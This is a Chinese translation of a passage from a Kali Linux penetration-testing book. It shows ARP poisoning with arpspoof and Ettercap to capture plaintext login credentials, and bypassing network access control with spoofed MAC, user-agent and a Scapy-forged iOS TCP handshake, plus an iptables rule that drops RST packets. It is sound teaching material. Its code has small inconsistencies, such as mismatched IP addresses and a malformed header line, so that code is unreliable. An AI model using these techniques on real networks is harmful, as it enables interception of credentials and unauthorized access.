当我们的受害者加入局域网时,DHCP 为其分配了一个 IP 地址。但是,任何发送到该 IP 地址的设备都必须知道与目标 IP 地址相关联的链路层硬件地址。这个链路层到网络层的映射是通过地址解析协议ARP)完成的。ARP 消息告诉请求者某个 IP 地址被分配到哪个(即哪个链路层地址)设备上。网络中的客户端维护一个本地的 ARP 映射表。例如,在 Windows 上,你可以使用arp -a命令查看本地的 ARP 表。趣味开始于我们了解到,这些表是通过 ARP 消息更新的,而没有任何验证。如果你是 ARP 表,并且我告诉你网关的 IP 地址与00:01:02:aa:ab:ac的 MAC 地址映射,那么你会直接相信并做出更新。这为中毒ARP 表——向其中注入错误信息——提供了可能性。

我们要做的就是向网络注入错误的 ARP 信息,使得网关认为 Kali 攻击者的 MAC 地址被分配给了受害者的 IP 地址;同时,我们还告诉网络 Kali 攻击者的 MAC 地址被分配给了网关的 IP 地址。这样,受害者将把发送给网关的数据发送给我,网关则会把发送给受害者的数据发送给我。当然,这意味着从网关到受害者,或者从受害者到网关的通信都不会进行,因此我们需要启用数据包转发,以便 Kali 机器将数据转发到实际的目标。当数据包到达目标时,我们已经对其进行了处理和嗅探。

我们将在第三章嗅探与欺骗中更详细地讲解欺骗技术。

首先,我们使用以下命令启用数据包转发:

echo 1 > /proc/sys/net/ipv4/ip_forward

另一条命令如下:

sysctl -w net.ipv4.ip_forward=1

arpspoof是一个非常快速且简单的 ARP 中毒攻击工具。总体来说,我更喜欢 Ettercap;不过,稍后我会讲解 Ettercap,了解一些快速且简单的方法在紧急情况下也是很有用的。Ettercap 更适合进行复杂的侦察和攻击,而使用arpspoof,你几乎可以在几秒钟内启动一个 ARP 中间人攻击。

早期版本的 Kali 已经准备好这个工具 – 在 Kali 2021.1 版本中,你需要首先运行apt-get install dsniff命令。几秒钟后,你就可以开始使用了。

我输入了arpspoof –i wlan0 –t 192.168.80.1 -r 192.168.80.71命令。-i标志是接口,-t标志是目标,-r标志告诉arpspoof进行双向中毒。(旧版本没有-r标志,因此我们必须设置两个单独的攻击。)请记住,目标可以是网关或受害者;由于我们正在创建一个双向攻击,所以无论是哪一方都不重要:

图 2.8 – 使用 arpspoof 进行 ARP 表中毒

图 2.8 – 使用 arpspoof 进行 ARP 表中毒

在这里,我们可以看到arpspoof的实际操作,告诉网络网关和受害者实际上是我的 Kali 主机。同时,数据包将按原样转发到拦截的另一端。当它正常工作时(即你的机器没有产生瓶颈),除非他们在嗅探网络,否则双方不会察觉出差异。当我们使用 Wireshark 检查时,我们可以看到 ARP 欺骗攻击的表现。

我们可以看到受害者和网关之间的通信,现在只需要过滤出你需要的内容。在我们的示范中,我们正在寻找对一个 Web 门户的身份验证——很可能是一个POST消息。当我找到它时,我通过右键单击一个数据包并选择跟踪来在 Wireshark 中查看会话,受害者的凭证以明文显示:

图 2.9 – 通过跟踪身份验证 HTTP 流来捕获凭证,使用 Wireshark

图 2.9 – 通过跟踪身份验证 HTTP 流来捕获凭证,使用 Wireshark

只接收数据包,留下一次重新 ARP

确保不要关闭运行arpspoof的终端窗口——使用Ctrl + C来发送终止信号。程序将识别该信号并尝试重新 ARP 你的网络。记住,你已经在其他主机上进行了 ARP 欺骗;这些数据会持续存在,直到新的 ARP 消息进行修正。优雅地关闭arpspoof将实现这一点。

绕过验证检查

我们已经看到 NAC 系统如何利用简单的 MAC 地址过滤和捕获门户身份验证来控制网络访问。现在,假设你刚刚从前面描述的 ARP 欺骗攻击中得手,兴奋地发现自己获得了一些合法的凭证。你尝试使用 Kali 主机登录,但却遇到了一个你未曾预见的验证检查。你拥有正确的用户名和密码——NAC 怎么知道这不是合法用户呢?

NAC 供应商迅速意识到,任何人都可以轻松地伪造 MAC 地址,因此一些系统执行额外的验证,将硬件地址与系统的其他特征进行匹配。想象一下,仅凭指纹进行身份验证和通过指纹、穿衣风格、声纹等多种方式进行身份验证之间的区别。后者能防止简单的伪造攻击。在这个背景下,NAC 正在检查 MAC 地址是否与其他特征匹配:制造商、操作系统和用户代理是常见的检查项目。结果证明,捕获门户识别出你刚刚伪造的Phil用户,并且它本来是期望一台 Apple iPad(在企业中作为已批准设备)。让我们详细回顾一下这三项检查。

确认组织唯一标识符

MAC 地址有两个主要部分:前三个字节是组织唯一标识符OUI),后三个字节是网络接口控制器特定的NIC-specific)。OUI 在这里很重要,因为它能唯一标识一个制造商。制造商会从 IEEE 注册管理机构购买一个 OUI,并将其在工厂中硬编码到他们的设备中。这不是一个秘密——它是公开的信息,已编码到该制造商生产的所有设备中。一个简单的 Google 搜索 Apple OUI 可以帮助我们缩小范围,当然你也可以直接访问 IEEE 注册管理机构网站。我们很快发现 00:21:e9 属于 Apple,所以我们可以尝试用这个来伪造一个随机的 NIC 地址(例如,00:21:e9:d2:11:ac)。

但再说一次,厂商们已经充分意识到 MAC 地址在过滤中的不可靠性,所以他们很可能会寻找更多的指示符。

被动操作系统指纹识别器

任何分析过网络数据包的人都应该熟悉操作系统指纹识别的概念。本质上,操作系统在构造通过网络发送的数据包时有一些小的细微差别。这些细微差别作为签名非常有用,可以帮助我们大致判断发送数据包的操作系统是什么。我们正在准备伪造一个选择的操作系统的堆栈,正如前面所解释的那样,所以让我们来了解一下 Kali 中一个在多种侦察场景下都会派上用场的工具——被动操作系统指纹识别器p0f)。

它的强大之处在于其简洁性:它监听数据包,根据已知系统的签名数据库匹配签名并给出结果。当然,您的网络卡必须能够看到待分析的数据包。我们在示例中看到,由于网络被限制,我们无法以完全被动的方式看到其他流量;我们必须通过欺骗网络将流量路由到我们的 Kali 机器上。所以,我们将再次这样做,只不过这次是在更大的规模上,因为我们希望对网络中的一些客户端进行指纹识别。让我们使用 Ettercap 进行 ARP 欺骗,这个工具应该轻松地位列你最常用的前十名工具中。一旦 Ettercap 启动并开始工作,我们将启动 p0f 看看能找到什么。

我们将启动 Ettercap 图形界面,界面上有一个看起来非常吓人的网络嗅探蜘蛛:

# ettercap -G

图 2.10 – Ettercap 启动屏幕

图 2.10 – Ettercap 启动屏幕

让我们开始嗅探,然后配置我们的中间人攻击。请注意,桥接嗅探目前未选中——这意味着我们正在使用统一嗅探模式。统一嗅探意味着我们仅从一个网络卡嗅探;我们现在并没有将任何东西转发到另一个接口。我们将在下一章讲解桥接嗅探的美妙之处。

现在,我们告诉 Ettercap 查找网络上的设备。点击顶部的勾选框确认初始设置(确保你的主要网络接口正确),然后点击三个点的按钮。在主机下,点击扫描主机。扫描完成后,你可以再次点击主机,查看主机列表。这会告诉我们 Ettercap 知道的网络上的设备信息。

现在,我们正在做一件相当不正经的事;我选择了网关作为目标 1(通过选择它然后点击添加到目标 1),并选择了一些客户端作为目标 2。这意味着 Ettercap 将使用 ARP 公告对这些主机进行欺骗,很快我们就会开始管理这些主机的流量。

始终负责地进行 ARP 欺骗

在与多个主机同时进行中间人攻击时要非常小心。你的机器很容易导致网络瓶颈。我也曾因为这样导致某个客户端的网络瘫痪。

选择MITM(顶部的小地球图标)| ARP 欺骗。我喜欢选择嗅探远程连接,不过这个场景下你不必这样做。

就是这样。点击确定,现在 Ettercap 就会施展它的魔法。点击查看 | 连接,可以看到 Ettercap 到目前为止所看到的所有连接详情。

对于熟悉 Ettercap 的用户,可能知道查看菜单中的配置文件选项可以让我们识别目标的操作系统,但为了展示简单快捷、直接有效的工具,我们还是使用 p0f。(你需要先在 Kali 2021.1 上通过apt-get install p0f安装 p0f。)-o 标志允许我们输出到一个文件——相信我,你会想这么做,尤其是在进行这种大规模欺骗攻击时:

p0f -o poflog

p0f 喜欢在收集信息时给你展示一些实时数据。在这里,我们可以看到通过一个单独的 SYN 包,192.168.108.199 已经被识别为 Linux 主机:

图 2.11 – p0f 捕获操作系统指纹

图 2.11 – p0f 捕获操作系统指纹

Ctrl + C 关闭 p0f。现在,让我们用 nano 打开我们的(可搜索的)日志文件:

图 2.12 – 查看 p0f 日志文件中的原始签名

图 2.12 – 查看 p0f 日志文件中的原始签名

漂亮吧?有趣的部分是每个数据包详情行末尾的原始签名,它由以冒号分隔的字段组成,顺序如下:

  1. 网络协议版本(例如,4 代表 IPv4)。

  2. 初始生存时间TTL)。如果你看到的不是64128255,那就有点奇怪了,但有些操作系统使用不同的值;例如,你可能会看到 AIX 主机使用 60,而旧版 Windows(‘95 和 ‘98)使用 32

  3. IPv4 选项长度,通常为 0

  4. 最大报文段大小MSS),不要与 MTU 混淆。它是设备可以处理的单个 TCP 段的最大字节大小。与 MTU 的不同之处在于,MSS 不包括 TCP 或 IP 头部。

  5. TCP 接收窗口大小,通常指定为 MTU 或 MSS 的倍数。

  6. 如果指定了,窗口缩放因子。

  7. 一个逗号分隔的 TCP 选项排序(如果有定义的话)。

  8. readme文件中称为quirks的字段——TCP 或 IP 头中的奇怪内容,能够帮助我们缩小创建它的协议栈范围。查看readme文件,看看这里显示了哪些选项;一个例子是df,表示不分片标志被设置。

为什么我们要关注这些选项呢?这不就是指纹库的作用吗?当然,但是这个工具的一个有趣之处在于你可以自定义自己的签名。你可能会看到一些奇怪的东西,可能由你在实验室里玩弄这些古怪的玩具时,帮助它们在实际环境中更容易被识别出来。然而,对于渗透测试人员来说,特别关注的是能够构造具有这些签名的报文,以欺骗这些 NAC 验证机制。我们将在下一节进行这些操作,但现在,你已经有了研究你想要伪造的协议栈所需的信息。

伪造 HTTP 用户代理

一些新手黑客可能会惊讶地发现浏览器用户代理数据在 NAC 系统中有一定的考虑,但它通常被作为客户端的额外验证。幸运的是,伪造HTTP 用户代理UA)字段非常简单。回到我那时候,我们用自定义的 UA 字符串与 cURL 一起使用,但现在你有了高级浏览器,允许你覆盖默认设置。

让我们尝试模拟 iPad。你可以通过实际的 iPad 来捕获 UA 数据,但 UA 字符串有点像 MAC 地址,容易伪造,且详细信息在网上很容易找到。所以,我会在网上搜索 iPad 的 UA 数据,选择更常见的那几个。随着软件和硬件的变化,UA 字符串也可能会变化。如果你认为所有 iPad(或任何设备)都相同,那可要小心了。

在 Kali 中,我们打开 Mozilla Firefox 并在地址栏中导航到about:config。Firefox 会礼貌地提醒你,这个区域不适合新手;继续并接受这个警告。现在,搜索useragent,你会看到引用 UA 的配置选项:

图 2.13 – 访问 Firefox 的高级配置

图 2.13 – 访问 Firefox 的高级配置

请注意,这里没有一个带有字符串数据类型的覆盖首选项名称(因此我们可以提供useragent字符串)。所以,我们需要创建它。回到搜索栏,输入general.useragent.override。这里唯一的结果是你可以创建它的选项;选择String数据类型,然后点击加号:

图 2.14 – 在 Firefox 高级设置中创建 UA 重写

图 2.14 – 在 Firefox 高级设置中创建 UA 重写

会出现一个字段,在其中输入这个新偏好的值。请记住,没有一个方便的构建工具可以将特定值组合成格式良好的 UA 字符串;你必须逐个字符输入,因此请检查你输入的数据的准确性。如果你愿意,可以假装自己是冰箱,但我不确定这对我们有任何帮助:

图 2.15 – Firefox 现在告诉世界它是一个 iPhone

图 2.15 – Firefox 现在告诉世界它是一个 iPhone

我刚刚输入了一个运行 iOS 12.2 的 iPhone 的 UA 数据,打开了一个新标签页,并验证了网站认为我是什么:

图 2.16 – 确认 UA 欺骗成功

图 2.16 – 确认 UA 欺骗成功

Website Goodies 页面现在相信我的 Kali 主机实际上是一个友好的 iPhone。

在这里,我们还应该防范 JavaScript 验证技术。一些认证门户可能会注入一些 JavaScript 来通过检查浏览器中的 文档对象模型(DOM) 字段来验证操作系统。你可以像处理 UA 数据一样操控这些响应:

general.[DOM key].override

例如,oscpu 字段会显示主机上的 CPU 类型,因此我们可以用以下内容来重写响应:

general.oscpu.override

如前所述,数据类型是字符串。这看起来很简单,但请记住,只有具有特权的代码(例如,具有 UniversalBrowserRead 权限的代码)才能获取真实信息,而不是你在这里定义的重写偏好。如果注入可以运行特权代码的 JavaScript 足够容易,那么我们可能会面临一些安全问题。这是一个权衡的例子,它对我们有帮助。

打破牢笼 – 伪装堆栈

想象一下,你正试图通过一扇有守卫把守的门。你一打开门,守卫看到你,认定你没有授权,于是立即把你赶了出去。但假设一个授权人员打开了门并把它撑开,而守卫则每 10 分钟左右验证一次进入的人身份,而不是持续验证。他们假设在这 10 分钟的时间窗口内是一个授权人员正在使用这扇门,因为他们已经验证过了第一个打开门并撑开它的人。

当然,这在现实世界中不会发生(至少,我希望不会发生),但这一原理在复杂的工业标准 NAC 系统中常常能够看到。我们讨论的不是人,而是网络中的数据包。正如我们在指纹识别实验中所学到的,数据包的形成细节可以泄露特定源系统的信息。这些细节使它们成为源的有用指示器。它像鸭子叫,也像鸭子走路,所以它就是鸭子,而绝对不是穿着鸭子服装的人。

使用这种指纹识别技术的 NAC 将进行初步评估,然后假设随后的数据包与签名匹配,就像我们的守卫在第一次检查后认为门是由好人使用的一样。其原因很简单:性能。后续检查是否每隔几分钟进行一次或从不进行,取决于 NAC 及其配置。

我们将介绍一个工具叫做Scapy,用来演示这个特定的攻击。在本书的后续章节中,您将看到 Scapy 可以轻松替代渗透测试人员所习惯使用的大多数工具:端口扫描器、指纹识别工具、欺骗工具等等。我们将在这里快速演示 NAC 绕过,但在接下来的章节中,我们将利用 Scapy 的强大功能。

遵循规则会破坏乐趣 —— 抑制正常的 TCP 回应

TCP 握手的详细过程超出了本章的范围,但我们将讨论基本知识,以便理解我们需要做什么才能完成伪装。大多数人都熟悉 TCP 的三次握手:

  1. 客户端发送SYN请求(同步)。

  2. 接收方回复SYN-ACK确认(同步-确认)。

  3. 客户端确认并发送ACK确认;通道已建立,通信可以开始。

这是一个非常简单的描述(我省略了序列号,稍后我们会讨论),当它按设计工作时,非常好。然而,那些有一定 Nmap 经验的人应该对服务在接收到异常顺序的数据时可能发生的奇怪情况有所了解。RFC 793 的第 3.4 节详细描述了这些有趣的情况,我鼓励大家阅读。基本上,TCP 的设计有机制,在出现问题时会中止——用 TCP 术语来说,我们通过RST控制包(重置)来中止。请确保(重置)和这个新补充部分之间有一个空格:(我们将在第五章评估网络安全性中更详细地讨论 TCP 和 Nmap)。这对我们来说非常重要,因为我们即将建立一个伪造的 TCP 连接,旨在模仿 Safari 浏览器在 iPad 上创建的连接。当我们收到确认信息时,Kali 会非常困惑:

  1. Scapy 使用我们的网络接口来发送伪造的SYN数据包。

  2. 捕获门户 Web 服务向我们的地址发送SYN-ACK确认。

  3. Kali Linux 系统本身并未发送任何 SYN 请求,因此将接收到一个未经请求的 SYN-ACK 确认包。

  4. 根据 RFC 规范,Kali 判断出某些地方出错,并通过 RST 包中止,暴露了我们的操作系统身份。

好吧,这样不行。我们必须临时封住 Kali 主机的口,直到完成验证。这用 iptables 很容易做到。

iptables 是 Linux 防火墙。它通过策略链来处理数据包。规则是为数据包处理定义的。共有三种策略类别:input(输入)、output(输出)和 forward(转发)。Input 是指目标为你机器的数据,output 是指来源于你机器的数据,forward 是指并非真正面向你机器的数据,但会被转发到其目标。如果你没有进行某种路由或转发操作——就像在本章前面我们进行的中间人攻击——那么你就不会操作 forward 策略链。在我们这里的目的,只需要限制从我们机器发出的数据。

如果你已经意识到这一点,额外的奖励:如果我们不小心,可能会限制到 Scapy 包!那么,我们到底在限制什么呢?我们想要限制的是目标为网关 80 端口的 TCP RST 包,并且来自我们的 Kali 主机。为了演示,我们已经在 192.168.108.239 上设置了监听器,而我们的 Kali 攻击主机则位于 192.168.108.253

iptables -F && iptables -A OUTPUT -p tcp --destination-port 80 --tcp-flags RST RST -s 192.168.108.225 -d 192.168.108.215 -j DROP

让我们来拆解一下:

  • -F 告诉 iptables 清除当前配置的所有规则。我们正在调整用于 ARP 攻击的规则,因此这将重置一切。

  • -A 表示 附加 规则。请注意,我没有使用可能令人误解的词语 add。记住,防火墙规则必须按正确的顺序工作。我们在这里不需要担心这一点,因为我们没有其他规则,所以这属于另一个话题。

  • OUTPUT 标识我们即将附加规则的策略链。

  • -p 表示协议——在这个例子中是 TCP。

  • --destination-port--tcp-flags 不言自明:我们瞄准的是任何目标为 HTTP 端口的 RST 控制包。

  • -s 是我们的源地址,-d 是目标地址。

  • -j跳转,它指定规则的目标。它定义了实际执行的动作。如果省略这个选项,那么什么也不会发生,但规则包计数器会递增。

以下截图展示了前述命令的输出:

图 2.17 – 列出我们在 iptables 中的修改

图 2.17 – 列出我们在 iptables 中的修改

我们已经准备好将伪造的包发送到强制门户认证页面。

使用 Scapy 和 Python 制造握手

你可以通过简单地输入 scapy 命令来启动 Scapy 解释器界面,但为了本讨论,我们将把它的功能导入到 Python 脚本中。

Scapy 是一款复杂的包操作和构建程序。它是一个 Python 程序,但 Python 在 Scapy 中扮演的角色更大,作为 Scapy 专用语言的语法和解释器。这对于渗透测试者来说意味着一个功能强大的包操控和伪造工具,它具有无与伦比的灵活性,因为它允许你在飞行过程中用很少的代码行编写自己的网络工具——并且解释权完全掌握在你手中,而不是局限于工具作者的设想。

我们在这里做的是 Python 和 Scapy 脚本编写的速成课程,所以不要害怕。稍后我们会更详细地讨论 Scapy 和 Python。我们将在这里的 NAC 绕过场景中逐步分析每个步骤,这样当我们以后使用 Scapy 时,就能迅速理解。如果你像我一样,在被推入泳池后学习更快的话,那就大大欢迎你阅读 Scapy 的文档和喝一杯热可可。Scapy 的文档非常棒。

正如你所知,我们已经在 192.168.108.239 设置了我们的捕获门户监听器和操作系统指纹识别器。让我们尝试在 Kali 中用未修改的 Firefox ESR 浏览这个地址,看看 p0f 能发现什么:

图 2.18 – 被识破:p0f 知道它是 Linux

图 2.18 – 被识破:p0f 知道它是 Linux

我们可以在最上面一行看到,表示收到的第一个 SYN 包,p0f 已经识别出我们是 Linux 客户端。记住,p0f 是通过查看 TCP 包的构造来判断的,所以我们无需等待任何 HTTP 请求来泄露系统信息。在浏览器与网站建立连接之前,Linux 的指纹就已经出现在 TCP 三次握手中。

在我们的示例中,让我们模拟之前的老朋友 iPhone。戴上黑客帽子(请戴白色的),我们可以将两者结合起来:

  • p0f 有一个签名数据库(p0f.fp),它通过这个数据库来指纹识别源。

  • Scapy 让我们能够构建 TCP 包,并且通过简单的脚本,我们可以将多个 Scapy 命令组合成一个完整的 TCP 三次握手工具。

现在我们已经有了伪造攻击的配方。Scapy 让你在其解释器中构建通信,使用与 Python 相同的语法,但我们要做的是启动 nano,编写一个导入 Scapy 的 Python 脚本。我们将在确认攻击成功后讨论这里发生的事情:

#!/usr/bin/python3
from scapy.all import *
import random
CPIPADDRESS = "192.168.108.239"
SOURCEP = random.randint(1024,65535)
ip = IP(dst=CPIPADDRESS, flags="DF", ttl=64)
tcpopt = [("MSS",1460), ("NOP",None), ("WScale",2), ("NOP",None), ("NOP",None), ("Timestamp",(123,0)), ("SAckOK",""), ("EOL",None)]
SYN = TCP(sport=SOURCEP, dport=80, flags="S", seq=1000, window=0xffff, options=tcpopt)
SYNACK = sr1(ip/SYN)
ACK = TCP(sport=SOURCEP, dport=80, flags="A", seq=SYNACK.ack+1, ack=SYNACK.seq+1, window=0xffff)
send(ip/ACK)
request = "GET / HTTP/1.1\r\nHost: " + CPIPADDRESS + "\rMozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\r\n\r\n"
PUSH = TCP(sport=SOURCEP, dport=80, flags="PA", seq=1001, ack=0, window=0xffff)
send(ip/PUSH/request)
RST = TCP(sport=SOURCEP, dport=80, flags="R", seq=1001, ack=0, window=0xffff)
send(ip/RST)

一旦我在 nano 中完成输入,我将其保存为 .py 文件并使用 chmod 命令设置为可执行。就这样——攻击准备就绪:

图 2.19 – 我们的 Scapy Python 脚本已准备好

图 2.19 – 我们的 Scapy Python 脚本已准备好

iptables 出站规则已设置,脚本准备好执行。让我们开始吧:

图 2.20 – Scapy 报告成功传输

图 2.20 – Scapy 报告成功传输

就是这样——到这里并没有什么高潮。但让我们看看接收端:

图 2.21 – p0f 认为我们是 iOS 设备

图 2.21 – p0f 认为我们是 iOS 设备

Voilà!操作系统指纹识别工具相信这些数据包是由 iOS 设备发送的。当我们向下滚动时,可以看到实际的 HTTP 请求及其 UA 数据。这时,NAC 允许访问,我们可以继续进行平常的工作。别忘了打开iptables

iptables -F

那么,这里到底发生了什么呢?让我们分解一下:

CPIPADDRESS = "192.168.108.215"
SOURCEP = random.randint(1024,65535)

我们声明了一个变量用于捕获门户的 IP 地址和源端口。源端口是102465535之间的随机整数,因此使用了一个临时端口:

ip = IP(dst=CPIPADDRESS, flags="DF", ttl=64)
tcpopt = [("MSS",1460), ("NOP",None), ("WScale",2), ("NOP",None), ("NOP",None), ("Timestamp",(123,0)), ("SAckOK",""), ("EOL",None)]
SYN = TCP(sport=SOURCEP, dport=80, flags="S", seq=1000, window=0xffff, options=tcpopt)
SYNACK = sr1(ip/SYN)

现在我们定义将要发送的数据包的各个层。ip是我们数据包的 IP 层,目标是我们的捕获门户,设置了不分片标志,并且 TTL 为64。当 Scapy 准备好发送这个特定的数据包时,我们只需引用ip

我们用将要使用的 TCP 选项定义tcpopt。这是操作系统指纹的核心内容,因此它是基于我们的指纹研究。

接下来,我们声明SYN,这是我们数据包的 TCP 层,定义了我们随机选择的临时端口、目标端口80、设置的SYN标志、序列号和窗口大小(也是指纹的一部分)。我们用刚定义的tcpopt设置 TCP 选项。

然后,我们通过sr1发送SYN请求。然而,sr1表示发送一个数据包,并记录 1 个回复。回复被存储为SYNACK

ACK = TCP(sport=SOURCEP, dport=80, flags="A", seq=SYNACK.ack+1, ack=SYNACK.seq+1, window=0xffff)
send(ip/ACK)

我们通过sr1发送了一个SYN包,它指示 Scapy 记录回复——换句话说,记录从服务器返回的SYN-ACK确认包。该数据包现在被存储为SYNACK。接下来,我们构造握手的第三部分,即我们的ACK。我们使用相同的端口信息并相应地切换标志,同时从SYN-ACK中获取序列号并将其加一。由于我们只是确认SYN-ACK并完成握手,因此我们只发送这个数据包而不需要回复,因此使用send命令而不是sr1

request = "GET / HTTP/1.1\r\nHost: " + CPIPADDRESS + "\rMozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148\r\n\r\n"
PUSH = TCP(sport=SOURCEP, dport=80, flags="PA", seq=1001, ack=0, window=0xffff)
send(ip/PUSH/request)

现在 TCP 会话已经建立,我们为 HTTP 服务器构造了GET请求。我们正在构建有效载荷并将其存储为request。请注意使用 Python 语法来连接目标 IP 地址并创建回车符和换行符。我们构造带有PSH + ACK标志的 TCP 层,并增加序列号。最后,我们使用另一个send命令发送数据包,使用相同的 IP 层、新定义的名为PUSH的 TCP 层和 HTTP 有效载荷作为request

RST = TCP(sport=SOURCEP, dport=80, flags="R", seq=1001, ack=0, window=0xffff)
send(ip/RST)

最后,我们整理好一切,完成了我们的任务。我们构建了一个RST数据包,用于断开我们刚刚建立的 TCP 连接,并使用send命令发送它。

希望我已经激发了你对 Scapy 和 Python 的兴趣,因为我们将在本书后面将这两个强大的工具提升到一个新层次。

总结

本章中,我们回顾了 NAC 系统及其一些技术。我们学习了如何使用 Kali 构建一个无线接入点,通过伪装成授权的 IP 电话进行物理降级攻击。我们学习了如何通过二层中毒攻击交换网络,以便在被困于受限局域网时拦截授权用户的认证数据。还讨论了其他验证检查,并展示了绕过这些检查的方法。

我们了解了操作系统指纹识别的工作原理,并开发了研究签名进行侦察的方式,同时为目标系统构建欺骗攻击,示例使用了运行在 iPad 上的 iOS。我们回顾了一个更高级的操作系统指纹识别方法——指纹识别堆栈,并介绍了数据包操作工具 Scapy,通过编写 Python 脚本演示了堆栈伪装。

在下一章,我们将把嗅探和欺骗提升到新的水平,甚至将这两个概念结合起来,创建一个干净安静的中间人攻击。

问题

回答以下问题来测试你对本章的知识掌握情况:

  1. hostapd中的apd代表什么?

  2. 如何快速判断你的无线网卡是否支持接入点模式?

  3. hostapd配置参数ignore_broadcast_ssid的作用是什么?

  4. 255.255.255.255是 ___________ 的广播地址。

  5. 你正在进行一个 ARP 欺骗攻击。你知道目标和网关的 IP 地址,所以你立即启动了arpspoof。突然,目标与网关之间的通信中断了。发生了什么事?

  6. MAC 地址的前三个八位字节和后三个八位字节分别代表什么?

  7. MSS 和 MTU 的大小是一样的吗?对还是错?

  8. iptables中的-j标志是做什么的?

  9. 你已将一个特别构造的数据包的 IP 层和 TCP 层分别定义为IPTCP。你希望 Scapy 发送这个数据包并将回复保存为REPLY。命令是什么?

进一步阅读

关于本章所涵盖的主题,查看更多信息,请查看以下资源:

第三章:嗅探与欺骗

在 1970 年代,美国对苏联进行了一次大胆的信号情报SIGINT)行动,代号“常春藤钟”行动,该行动发生在鄂霍次克海。虽然任何预期会被拦截的消息都会被加密,但一些关键通信却在鄂霍次克海下方以明文方式进行。通过使用一种能够通过电磁感应捕捉经过电缆的信号的设备,美国情报部门成功地从海底几百英尺的地方获取了敏感的军事通信。这是一次强有力的嗅探演示——能够捕捉并分析通过通信通道传输的数据。

几十年前,盟军准备在 1944 年的诺曼底战役中解放纳粹占领的西欧。成功的关键因素之一是让德军措手不及,但他们知道入侵即将来临;因此,进行了一个名为“坚韧行动”的大规模欺骗行动。这个欺骗行动的一部分是通过在“天际行动”中生成假电台流量,迷惑德军相信入侵将在挪威(坚韧行动北部)进行。生成的流量完美模拟了军队单位协调移动和攻击计划的电台信号。这一策略的部署,其巧妙的细节展现了欺骗——旨在误导接收方的虚假流量。

本章的讨论将以现代计算机网络为背景,并从作为渗透测试员的角度来考虑这些概念,但这些历史案例应该有助于阐明技术细节背后的理论。现在,让我们展示一些针对配备 Kali Linux 的渗透测试员的嗅探和欺骗的实际操作示例。

在本章中,我们将涵盖以下主题:

  • 高级 Wireshark 统计分析和过滤技术,用于在网络中找到我们需要的特定数据位

  • 使用 Aircrack-ng 套件攻击 WLAN

  • 高级 Ettercap 用于构建一个隐秘的窃听接入点

  • 使用 Ettercap 数据包过滤器来分析、丢弃并操控通过我们接入点传输的流量

  • 更深入地掌握 BetterCAP 基础

技术要求

要开始,你需要具备以下条件:

  • 一台运行 Kali Linux 的笔记本

  • 一张可以作为接入点使用的无线网卡

  • 基本的 Wireshark 知识

高级 Wireshark——超越简单的数据包捕获

我假设你现在已经有了一些使用 Wireshark(前身为 Ethereal)的经验。即使你是渗透测试的新手,也很难避免在实验室环境中接触到 Wireshark。如果你对这个出色的数据包分析工具不熟悉,那你一定对数据包分析器有所了解。嗅探器是任何学习编程的人面临的一大挑战。

所以,我不会讲解 Wireshark 的基础知识。我们都熟悉数据包分析器这个概念;我们知道 Wireshark 的颜色编码协议分析等等。我们将把 Wireshark 的应用推向理论之外和普通捕获之外,应用到一些实际的例子中。我们将查看 Wireshark 中的被动无线分析,并学习如何在使用攻击工具时将 Wireshark 作为我们的助手。

被动无线分析

到目前为止,我们一直在研究第二层及以上的内容。第一层——物理层——的神奇世界是另一本(非常厚的)书的内容,但在今天的世界里,我们无法谈论访问网络的物理方式而不涉及无线技术。

嗅探攻击有两种核心策略:被动主动。被动嗅探攻击通常也被称为隐蔽攻击,因为它无法被目标检测到。我们将看看被动无线侦察——这只是一个 Fancy 的说法,意思是监听广播。当你在车上的 FM 收音机调到你最喜欢的电台时,电台并不知道你已经开始收听。被动无线侦察是相同的概念,只不过我们要录制这个广播节目,以便稍后详细分析。

要实现这一点,我们需要合适的硬件。无线网卡必须能够记录它能看到的一切,并将其传递给操作系统。这就是监视模式,但并非所有无线网卡都支持它。我选择的卡是 Alfa AWUS036NEH,但稍微在网上做些研究就能帮助你找到理想的设备。

我们将使用iwconfig来启用监视模式,并在启动设备后确认其状态:

图 3.1 – 使用 iwconfig 启用监视模式

图 3.1 – 使用 iwconfig 启用监视模式

请注意两种配置工具的使用:ifconfigiwconfig。不要混淆它们的名称!

当我们运行最后一个命令时,我们可以确认监视模式已启用。如果检查 RX 数据包计数,你会看到它已经在快速增长(具体取决于你的射频环境有多忙碌)——它正在接收数据包,即使你没有与接入点关联。这就是这种分析方法隐蔽的原因——仅仅在监听的设备是不会被检测到的。

需要注意的是,真正的隐蔽性要求你的设备发送任何数据。有时候,我们仅仅是打算监听,所以假设我们在隐蔽地进行监听,但如果无线网卡以某种方式宣布它的存在,它就不再是被动的。当你擅长分析你的环境时,运用你的技巧来检查你的隐蔽性!

现在,我们将启动 Wireshark 并选择之前指定的接口——在这个例子中是wlan0

图 3.2 – 使用 Wireshark 进行原始无线捕获

图 3.2 – 使用 Wireshark 进行原始无线捕获

哇,好吧——等一下。屏幕在每秒 27 个数据包的速度下亮了起来,而且这是一个相对安静的环境。(如果你在公寓楼里启动这个,玩得会更有意思。)别误会,我是一个数据狂人,这么多包让我兴奋——但我们需要搞清楚这个环境里发生了什么,以便筛选出有价值的内容。我们将在下一节中使用 Wireshark 回顾无线环境的高空视角。

使用 Aircrack-ng 套件定位 WLAN

任何关于无线攻击的讨论都离不开 Aircrack-ng 套件。虽然名字暗示它只是一个密码破解工具,但它是一个功能全面的无线攻击套件。在我们的例子中,我们将通过airodump-ng wlan0 命令查看无线嗅探器。以下是输出:

图 3.3 – airodump-ng 输出

图 3.3 – airodump-ng 输出

这是相同的任务,但这个工具可以整理无线环境和所有参与设备的身份信息。一个特别有用的列是#数据,它告诉我们观察到的包中有多少包含网络数据。这很方便,因为正如我们在查看原始环境时看到的,很多包是用于无线管理的。虽然在 Wireshark 中对包进行排序很简单,但现在,我们得到了一个整洁的网络列表,包括客户端和接入点的 MAC 地址(BSSID),以及它们的繁忙程度。

